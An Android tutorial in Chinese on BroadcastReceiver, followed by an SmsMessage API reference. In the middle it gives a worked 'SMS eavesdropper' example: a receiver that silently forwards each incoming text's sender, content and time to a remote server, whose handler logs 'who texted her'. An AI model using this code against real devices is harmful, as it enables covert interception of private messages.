android基础-广播

 

今天主要讲了广播,实现对短信的拦截BroadcastReceiver概述。

BroadcastReceiver:广播接收者用于异步接受广播Intent,而广播Intent的发送是通过调用Context.sendBroadcast()Context.sendOrderedBroadcast()或者Context.senfStickyBroadcast()来实现的。通常一个广播Intent可以被订阅了Intent的多个广播接收者所接受。做过webService开发的可以联想一下与JMS中的Topic接受者很相似。

广播接收器只能接受广播,对广播的通知做出反应。很多广播都产生于系统代码 。时区改变的通知,电池电量不足、 用户改变了语言偏好或者 开机启动等 。广播接收器同样没有 用户界面 。 但是 , 它们可以为它们接收到信息启动一个 Activity ,或者它们可以使用 NotificationManager 来通知用户。前面的一个示例,我们已经看到 , 当音乐播放完毕,接收者会接收到一个音乐播放完毕的消息 , 而它会调用 Toast 将消息显示的屏幕上。 当然 , 通知可以 是 不同形式 的 , 只要能得到用户的注意 例如 : 铃声 、 震动 、 闪烁背景灯 ,等等 。 它们通常在状态栏上放置一个暂时的图标 ,用户可以通过打开这个图标获取信息。

息。

订阅感兴趣的广播 Intent ,订阅方法有两种,以我们下面将要讲到的应用为例:

第一种:使用代码进行订阅

IntentFilter filter = new IntentFilter("android.provider.Telephony.

SMS_RECEIVED");

IncomingSMSReceiver receiver = new IncomingSMSReceiver();

registerReceiver(receiver, filter);

第二种:在 AndroidManifest.xml 文件中的 节点里进行订阅 :

例题:短信窃听器:

  • VideoManageAction中增加方法getSMS来获取窃听器发送的短消息

public ActionForward getSMS(ActionMapping mapping, ActionForm form,

HttpServletRequest request, HttpServletResponse response)

throws Exception {

VideoForm formbean = (VideoForm)form;

System.out.println("发送时间:"+ formbean.getTime());

System.out.println("谁给她发的短信:"+ formbean.getSender());

System.out.println("内容:"+ formbean.getContent());

return mapping.findForward("result");

}

订阅广播:

<receiver android:name=".MySMSListener">

<intent-filter>

<action android:name="android.provider.Telephony.SMS_RECEIVED"/>

intent-filter>

receiver>

添加短信接收权限,访问网络权限:

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

  1. 客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。

package cn.class3g.smslistener;


import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.HashMap;

import java.util.Map;


import cn.class3g.utils.SocketHttpRequester;

public class MySMSListener extends BroadcastReceiver {


public void onReceive(Context context, Intent intent) {


Object[] pdus = (Object[]) intent.getExtras().get("pdus");


if (pdus != null && pdus.length > 0) {

SmsMessage[] messages = new SmsMessage[pdus.length];


for (int i = 0; i < messages.length; i++) {

byte[] pdu = (byte[]) pdus[i];

messages[i] = SmsMessage.createFromPdu(pdu);

}


for (SmsMessage msg : messages) {

String content = msg.getMessageBody();

String sender = msg.getOriginatingAddress();

Date date = new Date(msg.getTimestampMillis());


SimpleDateFormat sdf = new SimpleDateFormat(

"yyyy-MM-dd HH:mm:ss");

String sendTime = sdf.format(date);

Map param = new HashMap();

param.put("method", "getSMS");

param.put("sender", sender);

param.put("content", content);

param.put("time", sendTime);

String path =

"http://192.168.1.100:8080/videoweb/video/manage.do";

try {

SocketHttpRequester.post(path, param, "UTF-8");

} catch (Exception e) {

Log.e("TAG",e.toString());

}

}

}

}

}

Android SmsMessage类详解

public static int[] calculateLength (CharSequence msgBody, boolean use7bitOnly)
参数:
msgBody-
要封装的消息、use7bitOnly-如果为TRUE,不是广播特定7-比特编码的部分字符被认为是单个空字符;如果为FALSE,且msgBody包含非7-比特可编码字符,长度计算使用16-比特编码。
返回值:
返回一个4个元素的int数组,int[0]表示要求使用的SMS数量、int[1]表示编码单元已使用的数量、int[2]表示剩余到下个消息的编码单元数量、int[3]表示编码单元大小的指示器。
public static int[] calculateLength (String messageBody, boolean use7bitOnly)
参数和返回值跟上面类似
public static SmsMessage createFromPdu (byte[] pdu)
从原始的PDUprotocol description units)创建一个SmsMessage。这个方法很重要,在我们编写短信接收程序要用到,它从我们接收到的广播意图中获取的字节创建SmsMessage
public String getDisplayMessageBody()
返回短信消息的主体,或者Email消息主体(如果这个消息来自一个Email网关)。如果消息主体不可用,返回null。这个方法也很重要,在我们编写短信接收程序也要用到。
public String getDisplayOriginatingAddress ()
返回信息来源地址,或Email地址(如果消息来自Email网关)。如果消息主体不可用,返回null。这个方法在来电显示,短信接收程序中经常用到。
public String getEmailBody ()
如果isEmailTRUE,即是邮件,返回通过网关发送Email的地址,否则返回null
public int getIndexOnIcc ()
返回消息记录在ICC上的索引(从1开始的)
public String getMessageBody ()
以一个String返回消息的主体,如果它存在且是基于文本的。
public SmsMessage.MessageClass getMessageClass ()
返回消息的类。
public String getOriginatingAddress ()
String返回SMS信息的来电地址,或不可用时为null
public byte[] getPdu ()
返回消息的原始PDU数据。
public int getProtocolIdentifier ()
获取协议标识符。
public String getPseudoSubject ()
public String getServiceCenterAddress ()
返回转播消息SMS服务中心的地址,如果没有的话为null
public int getStatus ()
GSM
:为一个SMS-STATUS-REPORT消息,它返回状态报告的status字段。这个字段表示之前提交的SMS消息的状态。
CDMA
:为不影响来自GSM的状态码,值移动到31-16比特。这个值由一个error类(25-16比特)和一个状态码(23-16比特)组成。
如果是0,表示之前发送的消息已经被收到。
public int getStatusOnIcc ()
返回消息在ICC上的状态(已读、未读、已发送、未发送)。有下面的几个值:SmsManager.STATUS_ON_ICC_FREESmsManager.STATUS_ON_ICC_READSmsManager.STATUS_ON_ICC_UNREADSmsManager.STATUS_ON_ICC_SENDSmsManager.STATUS_ON_ICC_UNSENT这几个值在上篇的SmsManager类介绍有讲到。
public static SmsMessage.SubmitPdu getSubmitPdu (
String scAddress, String destinationAddress,
short destinationPort, byte[] data,
boolean statusReportRequested)
参数:scAddress - 服务中心的地址(Sercvice Centre address,为null即使用默认的)、destinationAddress - 消息的目的地址、destinationPort- 发送消息到目的的端口号、data - 消息数据。
返回值:一个包含编码了的SC地址(如果指定了的话)和消息内容的SubmitPdu,否则返回null,如果编码错误。
public static SmsMessage.SubmitPdu getSubmitPdu (
String scAddress, String destinationAddress,
String message, boolean statusReportRequested)
和上面类似。
public static int getTPLayerLengthForPDU (String pdu)
返回指定SMS-SUBMIT PDUTP-Layer-Length,长度单位是字节而不是十六进字符。
public long getTimestampMillis ()
currentTimeMillis()格式返回服务中心时间戳。
public byte[] getUserData ()
返回用户数据减去用户数据头部(如果有的话)
public boolean isCphsMwiMessage ()
判断是否是CPHS MWI消息
public boolean isEmail ()
判断是否是Email,如果消息来自一个Email网关且Email发送者(sender)、主题(subject)、解析主体(parsed body)可用,则返回TRUE
public boolean isMWIClearMessage ()
判断消息是否是一个CPHS 语音邮件或消息等待MWI清除(clear)消息。
public boolean isMWISetMessage ()
判断消息是否是一个CPHS 语音邮件或消息等待MWI设置(set)消息。
public boolean isMwiDontStore ()
如果消息是一个“Message Waiting Indication GroupDiscard Message”通知且不应该保存,则返回TRUE,否则返回FALSE
public boolean isReplace ()
判断是否是一个“replace short message”SMS
public boolean isReplyPathPresent ()
判断消息的TP-Reply-Path位是否在消息中设置了。
public boolean isStatusReportMessage ()
判断是否是一个SMS-STATUS-REPORT消息。
常量值:

public static final int ENCODING_16BIT :值为3(0x00000003)
public static final int ENCODING_8BIT
:值为2 (0x00000002)
public static final int ENCODING_UNKNOWN
:值为0 (0x00000000) ,用户数据编码单元的大小。
public static final int MAX_USER_DATA_BYTES
:值为140 (0x0000008c),表示每个消息的最大负载字节数。
public static final int MAX_USER_DATA_BYTES_WITH_HEADER
134 (0x00000086),如果一个用户数据有头部,该值表示它的最大负载字节数,该值假定头部仅包含CONCATENATED_8_BIT_REFENENCE元素。
public static final int MAX_USER_DATA_SEPTETS
:值为160 (0x000000a0) ,表示每个消息的最大负载septets数。
public static final int MAX_USER_DATA_SEPTETS_WITH_HEADER
:值为153 (0x00000099),如果存在用户数据头部,则该值表示最大负载septets数该值假定头部仅包含CONCATENATED_8_BIT_REFENENCE元素。
嵌套枚举成员SmsMessage.MessageClass的枚举值:

public static final SmsMessage.MessageClass CLASS_0
public static final SmsMessage.MessageClass CLASS_1
public static final SmsMessage.MessageClass CLASS_2
public static final SmsMessage.MessageClass CLASS_3
public static final SmsMessage.MessageClass CLASS_UNKNOWN
嵌套枚举成员SmsMessage.MessageClass的公有方法:

public static SmsMessage.MessageClass valueOf (String name):返回值的字符串的值
public static final MessageClass[] values ()
:返回MessageClass的值数组
嵌套类成员SmsMessage.SubmitPdu的字段:

public byte[] encodedMessage :编码了的消息
public byte[] encodedScAddress
:编码的服务中心地址
嵌套类成员SmsMessage.SubmitPdu的公有方法:

public String toString ()
返回一个包含简单的、可读的这个对象的描述字符串。鼓励子类去重写这个方法,并提供实现对象的类型和数据。默认实现简单地连接类名、@、十六进制表示的对象哈希码,即下面的形式: getClass().getName() + '@' + Integer.toHexString(hashCode())


你可能感兴趣的:(android基础-广播)